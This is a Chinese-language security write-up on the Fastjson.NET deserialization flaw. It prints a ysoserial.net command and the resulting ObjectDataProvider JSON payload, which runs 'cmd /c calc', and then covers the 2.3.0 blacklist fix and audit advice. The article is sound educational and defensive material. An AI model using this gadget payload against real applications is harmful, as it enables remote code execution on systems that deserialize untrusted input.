.net反序列化之Fastjson
字数 964 2025-08-05 08:18:57
Fastjson.NET 反序列化漏洞分析与防御
1. Fastjson.NET 简介
Fastjson.NET 是一个曾经流行的第三方 JSON 库,以其高性能著称。它提供了快速的 JSON 序列化和反序列化功能,但在安全性方面存在严重问题。
2. 基本序列化示例
using fastJSON;
using System;
namespace Fastjson.NetSerializer
{
class Person
{
public string Name { get; set; }
}
class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.Name = "jack";
string json = JSON.ToJSON(person);
Console.WriteLine(json);
Person p = JSON.ToObject<Person>(json);
Console.WriteLine(p.Name);
Console.ReadKey();
}
}
}
输出结果:
{
"$types":{
"Fastjson.NetSerializer.Person, Fastjson.NetSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"
},
"$type":"1",
"Name":"jack"
}
jack
3. 漏洞原理
Fastjson.NET 在序列化时会自动包含类型信息($type),当反序列化时如果 JSON 数据可控,攻击者可以构造恶意 JSON 数据,利用 ObjectDataProvider 类实现远程代码执行(RCE)。
4. 漏洞利用
4.1 攻击链 - ObjectDataProvider
使用 ysoserial.net 工具生成攻击 payload:
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f fastjson -g ObjectDataProvider -c calc
生成的 payload:
{
"$types":{
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1",
"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2",
"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"3"
},
"$type":"1",
"ObjectInstance":{
"$type":"2",
"StartInfo":{
"$type":"3",
"FileName":"cmd",
"Arguments":"/c calc"
}
},
"MethodName":"Start"
}
当这个 JSON 被反序列化时,会执行 cmd /c calc 命令,弹出计算器。
4.2 漏洞利用条件
- Fastjson.NET 版本低于 2.3.0
- 应用程序接受外部输入的 JSON 数据并进行反序列化
- 目标系统上有相应的依赖库
5. 漏洞修复
在 Fastjson 2.3.0 版本之后,作者增加了 JSONParameters.BlackListTypeChecking 功能来检查 $type 值是否为已知的漏洞类型,类似于 Java 版 Fastjson 的黑名单机制。
5.1 黑名单机制
当使用相同的 payload 攻击 2.3.0 及以上版本的 Fastjson 时,会抛出异常:
Black list type encountered, possible attack vector when using $type: System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
5.2 防御建议
- 升级到 Fastjson.NET 2.3.0 或更高版本
- 避免反序列化不可信的 JSON 数据
- 使用更安全的 JSON 库如 JSON.NET
- 实施输入验证和过滤
6. 审计要点
- 检查项目中使用的 Fastjson.NET 版本
- 确认 JSON 数据来源是否可控
- 检查是否有直接反序列化用户输入的情况
- 验证是否启用了黑名单检查
7. 总结
Fastjson.NET 反序列化漏洞是一个典型的安全问题,虽然该库已逐渐被 JSON.NET 取代,但了解其漏洞原理对于防范类似安全问题仍有重要意义。开发者应当:
- 保持依赖库更新
- 遵循安全编码实践
- 对不可信输入保持警惕
- 了解所使用的序列化/反序列化机制的安全特性